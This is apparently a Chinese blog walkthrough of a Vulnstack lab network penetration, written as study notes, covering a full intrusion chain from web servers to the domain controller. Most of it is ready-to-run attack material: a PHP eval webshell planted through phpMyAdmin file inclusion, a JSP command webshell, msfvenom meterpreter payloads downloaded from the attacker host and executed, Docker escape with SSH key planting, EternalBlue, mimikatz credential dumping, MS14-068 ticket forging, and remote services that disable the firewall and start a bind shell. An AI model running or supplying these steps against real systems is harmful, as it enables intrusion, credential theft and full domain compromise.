本文全程参考 记一次Vulnstack靶场内网渗透(二) 来复现渗透过程,目的在于学习渗透流程和基本思路,记录下学习笔记
环境搭建
靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
学习思路:st漏洞利用、phpmyadmin getshell、tomcat 漏洞利用、docker逃逸、ms14-068、ssh密钥利用、流量转发、历史命令信息泄露、域渗透
攻击机Kali (192.168.0.106)
虚拟网卡配置
Ubuntu web服务器网卡配置,配两张网卡(192.168.0.105,192.168.183.128)
DC Windows Server 2008 R2服务器网卡配置(192.168.183.130)
Windows 7网卡配置(192.168.183.129)
然后把docker容器都开起来,靶机里有vulhub,直接拉就行了,这里拉三个
cd /home/ubuntu/Desktop/vulhub/struts/s2-045
docker-compose up -d
cd ../../tomcat/CVE-2017-12615
docker-compose up -d
cd ../../phpmyadmin/CVE-2018-12613
docker-compose up -d
分别对应
- s2-045
- CVE-2017-12615(tomcat put上传)
- CVE-2018-12613(phpmyadmin文件包含漏洞)
docker开启情况如下
初始密码
- f服务器:ubuntu->ubuntu
- 域成员Win7:douser->Dotest123
- 域控DC:administrator->Test2008
靶机环境拓扑(ip地址在文中可能变化)
目标:
域控中存在一份重要文件——《漂亮国网络攻击授权报告》。
信息搜集
nmap信息搜集
nmap -T4 -A -sN 192.168.0.105
有ssh
,struts2
,tomcat
,phpmyadmin
等服务
Web渗透
struts2渗透
直接上工具扫一下,工具地址:https://github.com/zhzyker/vulmap
存在s2-045,RCE
phpmyadmin渗透
看到phpmyadmin
版本为4.8.1,想到文件包含漏洞(CVE-2018-12613)
searchsploit phpmyadmin 4.8.1
测试payload:
http://192.168.0.105:2003/index.php?target=db_sql.php%253f/../../../../../etc/passwd
利用session
文件包含,查询一条sql
语句,file_put_contents
写文件
SELECT '<?php file_put_contents("extrader.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));?>
cookie
中phpMyAdmin
的值为d70bbb50bbcc99dde55870cf69eda13b
访问http://192.168.0.105:2003/index.php?target=db_sql.php%3f../../../../../../../tmp/sess_d70bbb50bbcc99dde55870cf69eda13b
,把shell写进去
随后蚁剑连接
成功连接
tomcat渗透
searchsploit tomcat 8.5.19
由nmap扫描信息可知,2002端口的Tomcat版本为8.5.19,search一下发现有洞
用第一个脚本进行exploit
成功拿到root权限
利用漏洞原理传个shell,好执行命令
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
Docker主机逃逸
msf弹shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f elf > shell.elf
生成一个msf
马shell.elf
在本地用python开一个http服务
python3 -m http.server
下载shell并给权限
wget http://192.168.0.106:8000/shell.elf
chmod 777 shell.elf
kali机开启监听
msfconsole
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.183.1
show options
run
随后靶机上执行./shell.elf
,msf即可成功获得会话
利用CVE-2019-5736逃逸
在Docker 18.09.2之前的版本中使用的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。
平台或产品 受影响版本 Docker Version < 18.09.2 runC Version <= 1.0-rc6
恶意容器需满足以下两个条件之一:
- 由一个攻击者控制的恶意镜像创建
- 攻击者具有某已存在容器的写权限,且可通过docker exec进入。
Poc地址:https://github.com/Frichetten/CVE-2019-5736-PoC
是一个go写的脚本,需要自己下载编译
先装go环境
cd /usr/local
wget https://studygolang.com/dl/golang/go1.16.5.linux-amd64.tar.gz
tar -xzf go1.16.5.linux-amd64.tar.gz
vim /etc/profile
添加 export PATH=$PATH:/usr/local/go/bin
source /etc/profile
go version
出现版本号即安装成功
编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
用msf会话将编译得到的main文件上传到docker容器的/home目录中,并赋权
upload /home/kali/CVE-2019-5736-PoC/main /home
在kali机上监听
nc -lvp 4444
到靶机上执行./main
此时,只需等待目标机管理员重启该docker容器,payload就会触发,如下图,我们手动模拟docker重启:
sudo docker exec -it 09dd4e5bfa91 /bin/bash
显示payload执行成功
但是并未收到shell
利用--privileged特权模式逃逸
- 特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
- 使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行
docker run —privileged
时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。 - 当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
具体可参考:配置不当导致的容器逃逸
学习路线中有一个ssh密钥利用,推测是利用docker的特权模式来在宿主机硬盘中写入ssh私钥,实现ssh免密登录宿主机,从而实现对目标宿主机的控制
mkdir /hack
ls /dev
...
sda
sda1
sda2
sda5
...
尝试将/dev/sda1
挂载到/hack
目录里mount /dev/sda1 /hack
,ls /hack
查看,挂载成功
在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了。
将sda1挂载成功,我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的,比如我们访问/hack/home
目录也就是访问宿主机的/home
目录
本地生成ssh秘钥
ssh-keygen -f hack
chmod 600 hack // 不要忘记对秘钥文件赋600权限,否则不能执行
我们要将ssh
秘钥写入到.ssh
目录里面并将文件命名为authorized_keys
(目标机.ssh
目录权限必须为700)。
cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys # -avx是将权限也一起复制
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCg9LpD/MuFWzIzUQB4RQCFa8Avljlla4Z0iuk3jMQVxrxcDjOhoaLmXmbS63/crPQ15s1oEzNpi2L0MtU/ZMbDFHpKVJGSwNbZeMzEnYsOMd1x4r6BojP4bN4d2okv4sYVSCgWiNUQBHWQcUcnf3rkFw309maxSIwiNNl1C6jzwCNjo3rWA9YV8869N7q/oZtPob3M5yVT77nYMOdO4mnU/A8dbr8KkmcjoVZclK1aAnu96XJywWmArtfZjF9FdlqUkB9ZhknnpxHqP1/sH5lNk/S/pOQTq94VpU4YdK4aBt5mFj16okbudhNKGOBBlNFECcQIU/11djNDYD+FqVn7H/rKuYa7LOJkNhgXv/Q7tBIuoJBrWKqFSQPxUdiTDzeuWhWVw5Kjzf3sEoTOHqO7oUD23iQHnoO1ZwxJp/CnDRSTyCcxTcUwheM+JTSEXembyDtQWPmt3g24UNish8s3INTPT2Abd1q2mspwuSKWHuZo8yIrNq5mfS8lvkhT1rc= kali@kali' > /hack/home/ubuntu/.ssh/authorized_keys # 将ssh秘钥写入authorized_keys文件
如果上面echo不进去可以直接在msf中上传
此时,攻击者就可以利用自己的私钥进行免密登陆目标宿主机了
ssh -i hack ubuntu@192.168.0.105 (图后面加的,IP地址变了)
内网渗透
内网探测添加路由
我们已经拿到ubuntu这台服务器,重新弹个meterpreter过来
kali机重新开启一个Web服务:python3 -m http.server
msf上监听端口
set AutoRunScript migrate -f (自动迁移进程,防止用户删除木马,丢失目标)
在ubuntu上执行
wget http://192.168.0.106:8000/shell.elf
chmod 777 shell.elf
./shell.elf
msf传一个ew上去upload /home/kali/ew_for_linux64 /home/ubuntu
ifconfig
查看Ubuntu上的内网
发现存在(192.168.183.1/24)这个内网
于是我们在ubuntu上开启socks5正向代理
ew下链接:https://github.com/idlefire/ew
chmod 777 ew_for_linux64
./ew_for_linux64 -s ssocksd -l 1080
此时,kali上的应用程序就可以通过proxychains代理进目标内网了vim /etc/proxychains4.conf
探测内网存活的主机,因为使用的是socks的代理,只能使用tcp协议,所以nmap使用的时候要使用-sT
选择使用tcp
协议,要使用-Pn
不使用ICMP
的ping
确认主机存活
proxychains4 nmap -sT -sV -Pn -n -p22,445 192.168.183.0/24
经过扫描可以得知目标内网中还有192.168.183.129(Win7)和192.168.183.130(DC)这两台主机。并且都开了445端口
在msf添加内网路由,这里直接在msf中run autoroute
会报错
具体参考:https://www.jason-w.cn/pentest/2021/02/28/242.html
background
use post/multi/manage/autoroute
show options
set SESSION 7
set SUBNET 192.168.183.0
show options
exploit
route
exploit
后查看route
路由
ms17_010利用
扫描目标内网中可能存在ms17_010永恒之蓝漏洞的主机
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.183.128-130
run
先打Windows7这台
我们使用chisel
代理工具来进行内网渗透连接,下载链接:https://github.com/jpillora/chisel
具体使用方法可以看:https://www.anquanke.com/post/id/234771
为什么不用原来的ew,因为用ew不稳定,ms17_011
打不通(本人亲测打不通)
Ubuntu上执行./chisel server -p 2333 --socks5
Kali机上进行连接./chisel client 192.168.0.107:2333 1080:socks
反向代理,这样我们kali机上的1080端口就可以访问内网里的主机了
然后用msf打
setg Proxies socks5:127.0.0.1:1080 // 设置代理,不设置代理ms17_010很难打通
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.183.129
set LHOST 192.168.0.106
set LPORT 4444
set AutoRunScript post/windows/manage/migrate // 自动迁移进程
run
一次打通
内网信息搜集
sysinfo #查看主机信息
getuid #查看当前token
use incognito #加载incognito,(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u #列出目标主机用户的可用令牌
impersonate_token "DEMO\douser" #模拟DEMO\douser用户
rev2self #返回到之前的AccessToken权限
execute -f cmd.exe -i # 交互式运行cmd
execute -f cmd.exe -i -t # 使用可用token 运行
execute -f cmd.exe -i -H -t # 同上,同时隐藏进程
# 可以直接shell
chcp 65001 # 简单解决一下乱码
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
whoami
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件
# 以下命令需要切换到域用户douser执行
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
由搜集到的信息,我们知道目标win7在demo.com域中,域控为WIN-ENS2VR5TR3N
,域管理员为Administrator
,ping
查看域控ip
在目标机上传mimikatz,抓一下Windows 7的密码,mimikatz要有管理员权限不然无法抓取内存密码,要先模拟个system的令牌才能执行成功
impersonate_token "NT AUTHORITY\SYSTEM"
shell
mimikatz.exe
privilege::debug # 权限提升
sekurlsa::logonpasswords # 抓取密码
得到明文密码为Dotest123
,接下来可以进行横向移动攻击域控
尝试用ms17_010
打域控机
利用失败
ms14-068利用
漏洞利用前提
- 域控没有打MS14-068的补丁(KB3011780)
- 拿下一台加入域的计算机
- 有这台域内计算机的域用户密码和sid
使用ms14-068,下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
upload /home/kali/Desktop/WindowsExploits/MS14-068/MS14-068.exe c:\\users\\douser
在win7上执行下面一条命令
域成员sid
在上面mimikatz
中获取到了,当然也可以用whoami /user
获取sid
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码
成功生成票据文件
c:\windows\system32\mimikatz.exe
kerberos::purge # 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list # 查看当前机器凭证
kerberos::ptc TGT_douser@DEMO.com.ccache(生成的票据文件) # 将票据注入到内存中
尝试net use
登录域控
net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$
如上图,成功登录域控并列出了域控的c盘目录。此时要想控制域控我们还要在Windows 7上面上传一个正向的msf马。
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.0.108 lport=4455 -f exe -o bind.exe
传到Windows7上,然后用smb文件共享将msf马copy到域控的C盘
upload /home/kali/Desktop/bind.exe
通过远程在域控上面设置好计划任务
schtasks /create /tn "test" /tr C:\windows\system32\bind.exe /sc MINUTE /S 192.168.183.130
显示Access is denied
,用sc服务来远程执行,设置服务来关闭防火墙
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
创建服务执行msf马(msf正在监听)
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell
msf配置
成功上线域控
上传mimikatz抓明文密码
upload /home/kali/Desktop/mimikatz.exe
shell
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
拿到域管理员密码为Test2008@!
寻找敏感文件
拿下域控后,我们就要寻找开头说的那个域控中的重要文件了。开启域控的远程桌面
run post/windows/manage/enable_rdp
登录
proxychains4 rdesktop 192.168.183.130
输入账号密码,账号:DEMO\Administrator 密码:Test2008@!
传个everything
安装后开启里面的http服务
kali浏览器走个代理,socks5的
随后即可访问服务器上的所有文件
至于啥漂亮国攻击授权报告,靶机上没有这文件,估计是自己加上去的,但目的已达成,开溜~
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues